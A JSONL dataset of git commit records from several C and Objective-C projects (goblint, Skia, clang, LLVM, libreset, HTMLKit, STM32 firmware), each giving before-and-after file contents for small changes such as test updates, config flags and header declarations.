{"commit":"70e0426892b6df38ce023b41ea86526e55a43c11","old_file":"tests\/regression\/02-base\/79-unknown-spawn.c","new_file":"tests\/regression\/02-base\/79-unknown-spawn.c","old_contents":"\/\/ PARAM: --enable sem.unknown_function.spawn\n#include <goblint.h>\n#include <stddef.h>\n\nint magic(void* (f (void *)));\n\nvoid *t_fun(void *arg) {\n  \/\/ __goblint_check(1); \/\/ reachable\n  return NULL;\n}\n\nint main() {\n  magic(t_fun); \/\/ unknown function\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --enable sem.unknown_function.spawn\n#include <goblint.h>\n#include <stddef.h>\n\nint magic(void* (f (void *)));\n\nvoid *t_fun(void *arg) {\n  __goblint_check(1); \/\/ reachable\n  return NULL;\n}\n\nint main() {\n  magic(t_fun); \/\/ unknown function\n  return 0;\n}\n","subject":"Undo commenting out of __goblint_check","message":"Undo commenting out of __goblint_check\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"9a2c64d71dfd174fb9dcc7f6411e325a54fc64b4","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_DRAWLOOPER\n  #define SK_IGNORE_LINEAR_METRICS_FIX\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_EXPLICIT_GPU_RESOURCE_ALLOCATION\n  #define SK_DISABLE_RENDER_TARGET_SORTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n  #define SK_SUPPORT_LEGACY_DRAWLOOPER\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Remove SK_IGNORE_LINEAR_METRICS_FIX flag from Skia","message":"Remove SK_IGNORE_LINEAR_METRICS_FIX flag from Skia\n\nTest: refactoring change, will land once all existing tests pass.\nChange-Id: I2cdb41023689e458990a71c5dbcc35844a22bbfa\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"d488d9cfefc06373fc0f18ec334a5caa8d73e5c9","old_file":"test\/Index\/complete-tabs.c","new_file":"test\/Index\/complete-tabs.c","old_contents":"","new_contents":"\/\/ Test code-completion in the presence of tabs\nstruct Point { int x, y; };\n\nvoid f(struct Point *p) {\n\tp->\n\n\/\/ RUN: c-index-test -code-completion-at=%s:5:5 %s | FileCheck -check-prefix=CHECK-CC1 %s\n\/\/ CHECK-CC1: {TypedText x}\n\/\/ CHECK-CC1: {TypedText y}\n","subject":"Add a test case for code-completion in the presence of tabs","message":"Add a test case for code-completion in the presence of tabs\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@92882 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"975f8f82233cacbd8aa5f5baeb786b904e4a6dc8","old_file":"src\/libreset\/params.h","new_file":"src\/libreset\/params.h","old_contents":"","new_contents":"\/*\n * libreset - Reentrent set library for fast set operations in C\n *\n * Copyright (C) 2014 Matthias Beyer\n * Copyright (C) 2014 Julian Ganz\n *\n * This file is part of libreset.\n *\n * libreset is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * libreset is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with libreset. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @addtogroup internal_parameters\n *\n * This group contains parameters and tweakables for the data structures.\n *\n * @{\n *\/\n\n#ifndef __PARAMS_H__\n#define __PARAMS_H__\n\n\/**\n * Number of variants to derive from a hash function\n *\n * When generating a bloom filter for a single element from a hash, some\n * transformatoin will be applied to generate multiple variants of the hash.\n * This way, only one hash is neccessary to use bloom filters.\n *\/\n#define HASH_VARIANTS (3)\n\n\/**\n * @}\n *\/\n\n#endif\n","subject":"Add header for parameters and tweakables","message":"Add header for parameters and tweakables\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"5616dc9ea64d8fcc7f366f6c11b050817d7ec227","old_file":"include\/Support\/ThreadSupport.h","new_file":"include\/Support\/ThreadSupport.h","old_contents":"\/\/===-- Support\/ThreadSupport.h - Generic threading support -----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines platform-agnostic interfaces that can be used to write\n\/\/ multi-threaded programs.  Autoconf is used to chose the correct\n\/\/ implementation of these interfaces, or default to a non-thread-capable system\n\/\/ if no matching system support is available.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SUPPORT_THREADSUPPORT_H\n#define SUPPORT_THREADSUPPORT_H\n\n\/\/ FIXME: We need autoconf support to detect pthreads!\n#if 0\n#include \"Support\/ThreadSupport-PThreads.h\"\n#else\n#include \"Support\/ThreadSupport-NoSupport.h\"\n#endif \/\/ If no system support is available\n\nnamespace llvm {\n  \/\/\/ MutexLocker - Instances of this class acquire a given Lock when\n  \/\/\/ constructed and hold that lock until destruction.\n  \/\/\/\n  class MutexLocker {\n    Mutex &M;\n    MutexLocker(const LockHolder &);    \/\/ DO NOT IMPLEMENT\n    void operator=(const MutexLocker&); \/\/ DO NOT IMPLEMENT\n  public:\n    MutexLocker(Mutex &m) : M(m) { M.acquire(); }\n    ~MutexLocker() { M.release(); }\n  };\n}\n\n#endif \/\/ SUPPORT_THREADSUPPORT_H\n","new_contents":"\/\/===-- Support\/ThreadSupport.h - Generic threading support -----*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines platform-agnostic interfaces that can be used to write\n\/\/ multi-threaded programs.  Autoconf is used to chose the correct\n\/\/ implementation of these interfaces, or default to a non-thread-capable system\n\/\/ if no matching system support is available.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SUPPORT_THREADSUPPORT_H\n#define SUPPORT_THREADSUPPORT_H\n\n\/\/ FIXME: Eventually don't #include config.h here\n#include \"Config\/config.h\"\n#if defined(HAVE_PTHREAD_MUTEX_LOCK) && HAVE_PTHREAD_MUTEX_LOCK\n#include \"Support\/ThreadSupport-PThreads.h\"\n#else\n#include \"Support\/ThreadSupport-NoSupport.h\"\n#endif \/\/ If no system support is available\n\nnamespace llvm {\n  \/\/\/ MutexLocker - Instances of this class acquire a given Lock when\n  \/\/\/ constructed and hold that lock until destruction.\n  \/\/\/\n  class MutexLocker {\n    Mutex &M;\n    MutexLocker(const MutexLocker &);    \/\/ DO NOT IMPLEMENT\n    void operator=(const MutexLocker &); \/\/ DO NOT IMPLEMENT\n  public:\n    MutexLocker(Mutex &m) : M(m) { M.acquire(); }\n    ~MutexLocker() { M.release(); }\n  };\n}\n\n#endif \/\/ SUPPORT_THREADSUPPORT_H\n","subject":"Use autoconf answers from config.h (FIXME, should autoconf this file directly instead).","message":"Use autoconf answers from config.h (FIXME, should autoconf this file\ndirectly instead).\n\nFix LockHolder\/MutexLocker typo.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@11156 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"6b614879e21596184fc0af246243d1cce880e1f7","old_file":"test\/Sema\/carbon.c","new_file":"test\/Sema\/carbon.c","old_contents":"\/\/ RUN: clang %s -fsyntax-only -print-stats\n#ifdef __APPLE__\n#include <Carbon\/Carbon.h>\n#endif\n\n","new_contents":"\/\/ RUN: clang %s -fsyntax-only -print-stats &&\n\/\/ RUN: clang -x c-header -o %t %s && clang -token-cache %t %s\n#ifdef __APPLE__\n#include <Carbon\/Carbon.h>\n#endif\n\n","subject":"Enhance -fsyntax-only test of Carbon.h to also include testing for PTH.","message":"Enhance -fsyntax-only test of Carbon.h to also include testing for PTH.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@61958 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"26f5dea4e721592f0e64183b9d0a325174487231","old_file":"libs\/ac_memset\/srcs\/ac_memset.c","new_file":"libs\/ac_memset\/srcs\/ac_memset.c","old_contents":"\/*\n * Copyright 2015 Wink Saville\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <ac_stop.h>\n#include <ac_printf.h>\n\n\/**\n * Set memory to the given byte value\n *\n * @param s points to the array\n * @param val is a byte used to fill the array\n * @param count is an integer the size of a pointer\n *\n * @return = s\n *\/\nvoid* ac_memset(void *s, ac_u8 val, ac_uptr count) {\n  \/\/ TODO: Optimize\n  ac_u8* pU8 = s;\n  for(ac_uptr i = 0; i < count; i++) {\n    *pU8++ = val;\n  }\n  return s;\n}\n\n","new_contents":"\/*\n * Copyright 2015 Wink Saville\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <ac_stop.h>\n#include <ac_printf.h>\n\n\/**\n * Set memory to the given byte value\n *\n * @param s points to the array\n * @param val is a byte used to fill the array\n * @param count is an integer the size of a pointer\n *\n * @return = s\n *\/\nvoid* ac_memset(void *s, ac_u8 val, ac_uptr count) {\n  \/\/ TODO: Optimize\n  ac_u8* pU8 = s;\n  for(ac_uptr i = 0; i < count; i++) {\n    *pU8++ = val;\n  }\n  return s;\n}\n\n\/**\n * Set memory, compiler needs this for initializing structs and such.\n *\/\nvoid* memset(void *s, int val, ac_size_t count) {\n  return ac_memset(s, val, count);\n}\n","subject":"Add memset, needed by compiler for initializing structs and such","message":"Add memset, needed by compiler for initializing structs and such\n","lang":"C","license":"apache-2.0","repos":"winksaville\/sadie,winksaville\/sadie"}
{"commit":"497063382b921183790a3ab78a12d7ee3e9943d2","old_file":"isHUD\/ISHAppDelegate.h","new_file":"isHUD\/ISHAppDelegate.h","old_contents":"\/\/\n\/\/  ISHAppDelegate.h\n\/\/  isHUD\n\/\/\n\/\/  Created by ghawkgu on 11\/15\/11.\n\/\/  Copyright (c) 2011 ghawkgu. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n#define HUD_FADE_IN_DURATION    (0.25)\n#define HUD_FADE_OUT_DURATION   (0.5)\n#define HUD_DISPLAY_DURATION    (2.0)\n#define HUD_ALPHA_VALUE         (0.6)\n#define HUD_CORNER_RADIUS       (18.0)\n\n#define HUD_HORIZONTAL_MARGIN   (30)\n#define HUD_HEIGHT              (100)\n\n#define MENUITEM_TAG_TOGGLE_LOGIN_ITEM 1\n#define STATUS_MENU_ICON @\"icon-18x18.png\"\n\n@interface ISHAppDelegate : NSObject <NSApplicationDelegate> {\n@private\n    BOOL fadingOut;\n}\n@property (unsafe_unretained) IBOutlet NSWindow *window;\n@property (unsafe_unretained) IBOutlet NSTextField *isName;\n@property (unsafe_unretained) IBOutlet NSMenu *statusMenu;\n@property (unsafe_unretained) IBOutlet NSView *panelView;\n@property (unsafe_unretained) IBOutlet NSImageView *isImage;\n@property (strong) NSStatusItem * myStatusMenu;\n\n- (IBAction)quit:(id)sender;\n- (IBAction)toggleLoginItem:(id)sender;\n@end\n","new_contents":"\/\/\n\/\/  ISHAppDelegate.h\n\/\/  isHUD\n\/\/\n\/\/  Created by ghawkgu on 11\/15\/11.\n\/\/  Copyright (c) 2011 ghawkgu. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n#define HUD_FADE_IN_DURATION    (0.25)\n#define HUD_FADE_OUT_DURATION   (0.5)\n#define HUD_DISPLAY_DURATION    (2.0)\n#define HUD_ALPHA_VALUE         (0.6)\n#define HUD_CORNER_RADIUS       (18.0)\n\n#define HUD_HORIZONTAL_MARGIN   (30)\n#define HUD_HEIGHT              (90)\n\n#define MENUITEM_TAG_TOGGLE_LOGIN_ITEM 1\n#define STATUS_MENU_ICON @\"icon-18x18.png\"\n\n@interface ISHAppDelegate : NSObject <NSApplicationDelegate> {\n@private\n    BOOL fadingOut;\n}\n@property (unsafe_unretained) IBOutlet NSWindow *window;\n@property (unsafe_unretained) IBOutlet NSTextField *isName;\n@property (unsafe_unretained) IBOutlet NSMenu *statusMenu;\n@property (unsafe_unretained) IBOutlet NSView *panelView;\n@property (unsafe_unretained) IBOutlet NSImageView *isImage;\n@property (strong) NSStatusItem * myStatusMenu;\n\n- (IBAction)quit:(id)sender;\n- (IBAction)toggleLoginItem:(id)sender;\n@end\n","subject":"Set the height of the HUD to 90.","message":"Set the height of the HUD to 90.\n","lang":"C","license":"mit","repos":"ghawkgu\/isHUD"}
{"commit":"8dd185b184d006b2e646eb4beeaffa1f9d9d930a","old_file":"include\/Genes\/Freedom_To_Move_Gene.h","new_file":"include\/Genes\/Freedom_To_Move_Gene.h","old_contents":"#ifndef FREEDOM_TO_MOVE_GENE_H\n#define FREEDOM_TO_MOVE_GENE_H\n\n#include <fstream>\n\n#include \"Gene.h\"\n\n\/\/ Total number of legal moves\nclass Freedom_To_Move_Gene : public Gene\n{\n    public:\n        Freedom_To_Move_Gene();\n        explicit Freedom_To_Move_Gene(std::ifstream& ifs);\n        ~Freedom_To_Move_Gene() override;\n\n        Freedom_To_Move_Gene* duplicate() const override;\n\n        std::string name() const override;\n\n    private:\n        size_t maximum_number_of_moves;\n\n        double score_board(const Board& board, Color perspective) const override;\n};\n\n#endif \/\/ FREEDOM_TO_MOVE_GENE_H\n","new_contents":"#ifndef FREEDOM_TO_MOVE_GENE_H\n#define FREEDOM_TO_MOVE_GENE_H\n\n#include <fstream>\n\n#include \"Gene.h\"\n\n\/\/ Total number of legal moves\nclass Freedom_To_Move_Gene : public Gene\n{\n    public:\n        Freedom_To_Move_Gene();\n        ~Freedom_To_Move_Gene() override;\n\n        Freedom_To_Move_Gene* duplicate() const override;\n\n        std::string name() const override;\n\n    private:\n        size_t maximum_number_of_moves;\n\n        double score_board(const Board& board, Color perspective) const override;\n};\n\n#endif \/\/ FREEDOM_TO_MOVE_GENE_H\n","subject":"Remove unneeded method override declaration from Freedom to Move","message":"Remove unneeded method override declaration from Freedom to Move\n","lang":"C","license":"mit","repos":"MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess"}
{"commit":"7278a74da3454fff7eb439ef4e1c6a2049c1be9c","old_file":"Firmware\/main.c","new_file":"Firmware\/main.c","old_contents":"#include <stm32f4xx.h>\n#include <stm32f4xx_gpio.h>\n\nvoid init_GPIO()\n{\n\tGPIO_InitTypeDef GPIO_InitStruct = {\n\t\t.GPIO_Pin = GPIO_Pin_15,\n\t\t.GPIO_Mode = GPIO_Mode_OUT,\n\t\t.GPIO_Speed = GPIO_Speed_50MHz,\n\t\t.GPIO_OType =GPIO_OType_PP,\n\t\t.GPIO_PuPd = GPIO_PuPd_UP\n\t};\n\n\tRCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);\n\n\tGPIO_Init(GPIOD, &GPIO_InitStruct);\n}\n\nint main()\n{\n\tinit_GPIO();\n\n\treturn 0;\n}\n","new_contents":"#include <stm32f4xx.h>\n#include <stm32f4xx_gpio.h>\n\nvoid init_GPIO()\n{\n\tGPIO_InitTypeDef GPIO_InitStruct = {\n\t\t.GPIO_Pin = GPIO_Pin_12 | GPIO_Pin_13 | GPIO_Pin_14 | GPIO_Pin_15,\n\t\t.GPIO_Mode = GPIO_Mode_OUT,\n\t\t.GPIO_Speed = GPIO_Speed_50MHz,\n\t\t.GPIO_OType =GPIO_OType_PP,\n\t\t.GPIO_PuPd = GPIO_PuPd_DOWN\n\t};\n\n\tRCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD, ENABLE);\n\n\tGPIO_Init(GPIOD, &GPIO_InitStruct);\n}\n\nint main()\n{\n\tinit_GPIO();\n\n\tGPIO_SetBits(GPIOD, GPIO_Pin_12);\n\treturn 0;\n}\n","subject":"Adjust GPIO settings and add some test code","message":"Adjust GPIO settings and add some test code\n","lang":"C","license":"mit","repos":"PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples,shengwen1997\/stm32_pratice,shengwen1997\/stm32_pratice,PUCSIE-embedded-course\/stm32f4-examples"}
{"commit":"c46835cc42db06a1fcf12a11726614b66b6763a4","old_file":"project_config\/lmic_project_config.h","new_file":"project_config\/lmic_project_config.h","old_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n\/\/#define CFG_as923 1\n#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","new_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n#define CFG_us915 1\n\/\/#define CFG_au921 1\n\/\/#define CFG_as923 1\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","subject":"Change default region back to US","message":"Change default region back to US\n","lang":"C","license":"mit","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic"}
{"commit":"25ac856508aa714758781513c41ceaf214e42d94","old_file":"GSXCBuildDelegate.h","new_file":"GSXCBuildDelegate.h","old_contents":"\/* Definition of protocol GSXCBuildDelegate\n   Copyright (C) 2022 Free Software Foundation, Inc.\n   \n   By: Gregory John Casamento\n   Date: 25-01-2022\n\n   This file is part of GNUstep.\n   \n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n   \n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n   \n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, write to the Free\n   Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110 USA.\n*\/\n\n#ifndef _GSXCBuildDelegate_h_INCLUDE\n#define _GSXCBuildDelegate_h_INCLUDE\n\n#import <Foundation\/NSObject.h>\n\n#if\tdefined(__cplusplus)\nextern \"C\" {\n#endif\n\n@protocol GSXCBuildDelegate\n\n@optional\n- (void) project: (PBXProject *)project publishMessage: (NSString *)message;\n\n@end\n\n#if\tdefined(__cplusplus)\n}\n#endif\n\n#endif\t\/* _GSXCBuildDelegate_h_INCLUDE *\/\n\n","new_contents":"\/* Definition of protocol GSXCBuildDelegate\n   Copyright (C) 2022 Free Software Foundation, Inc.\n   \n   By: Gregory John Casamento\n   Date: 25-01-2022\n\n   This file is part of GNUstep.\n   \n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n   \n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n   \n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, write to the Free\n   Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110 USA.\n*\/\n\n#ifndef _GSXCBuildDelegate_h_INCLUDE\n#define _GSXCBuildDelegate_h_INCLUDE\n\n#import <Foundation\/NSObject.h>\n#import \"PBXProject.h\"\n\n#if\tdefined(__cplusplus)\nextern \"C\" {\n#endif\n\n@protocol GSXCBuildDelegate\n\n@optional\n- (void) project: (PBXProject *)project publishMessage: (NSString *)message;\n\n@end\n\n#if\tdefined(__cplusplus)\n}\n#endif\n\n#endif\t\/* _GSXCBuildDelegate_h_INCLUDE *\/\n\n","subject":"Build delegate change so reporting back updates shows correctly","message":"Build delegate change so reporting back updates shows correctly\n","lang":"C","license":"lgpl-2.1","repos":"gnustep\/xcode"}
{"commit":"a08fb84be93610ecd7851e16daeaeb1d175df74c","old_file":"Sources\/HTMLRange.h","new_file":"Sources\/HTMLRange.h","old_contents":"\/\/\n\/\/  HTMLRange.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 20\/11\/16.\n\/\/  Copyright © 2016 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface HTMLRange : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  HTMLRange.h\n\/\/  HTMLKit\n\/\/\n\/\/  Created by Iska on 20\/11\/16.\n\/\/  Copyright © 2016 BrainCookie. All rights reserved.\n\/\/\n\n#import \"HTMLNode.h\"\n\n\/**\n A HTML Range, represents a sequence of content within a node tree. \n Each range has a start and an end which are boundary points. \n A boundary point is a tuple consisting of a node and a non-negative numeric offset.\n\n https:\/\/dom.spec.whatwg.org\/#ranges\n *\/\n@interface HTMLRange : NSObject\n\n\/**\n The node of the start boundary point.\n *\/\n@property (nonatomic, readonly, strong) HTMLNode *startContainer;\n\n\/**\n  The offset of the start boundary point.\n *\/\n@property (nonatomic, readonly, assign) NSUInteger startOffset;\n\n\/**\n The node of the end boundary point.\n *\/\n@property (nonatomic, readonly, strong) HTMLNode *endContainer;\n\n\/**\n The offset of the end boundary point.\n *\/\n@property (nonatomic, readonly, assign) NSUInteger endOffset;\n\n\/**\n Checks whether the range is collapsed, i.e. if start is the same as end.\n\n @return `YES` if the range is collapsed, `NO` otherwise.\n *\/\n@property (nonatomic, readonly, assign, getter=isCollapsed) BOOL collapsed;\n\n\/**\n The common container node that contains both start and end nodes.\n *\/\n@property (nonatomic, readonly, weak) HTMLNode *commonAncestorContainer;\n\n@end\n","subject":"Add properties to HTML Range interface","message":"Add properties to HTML Range interface\n\nSee:\nhttps:\/\/dom.spec.whatwg.org\/#range\n","lang":"C","license":"mit","repos":"iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit,iabudiab\/HTMLKit"}
{"commit":"90b666664647657fa1317ab126ec03e5a77e9dcb","old_file":"tests\/regression\/02-base\/91-ad-meet.c","new_file":"tests\/regression\/02-base\/91-ad-meet.c","old_contents":"","new_contents":"\/\/ SKIP\n\/\/ TODO: be sound and claim that assert may hold instead of must not hold\n\/\/ assert passes when compiled\n#include <assert.h>\n\nstruct s {\n  int fst;\n};\n\nint main() {\n  struct s a;\n  void *p = &a.fst;\n  void *q = ((int(*)[1]) (&a))[0];\n  assert(p == q);\n  return 0;\n}\n","subject":"Add skipped base AD.meet unsoundness test","message":"Add skipped base AD.meet unsoundness test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
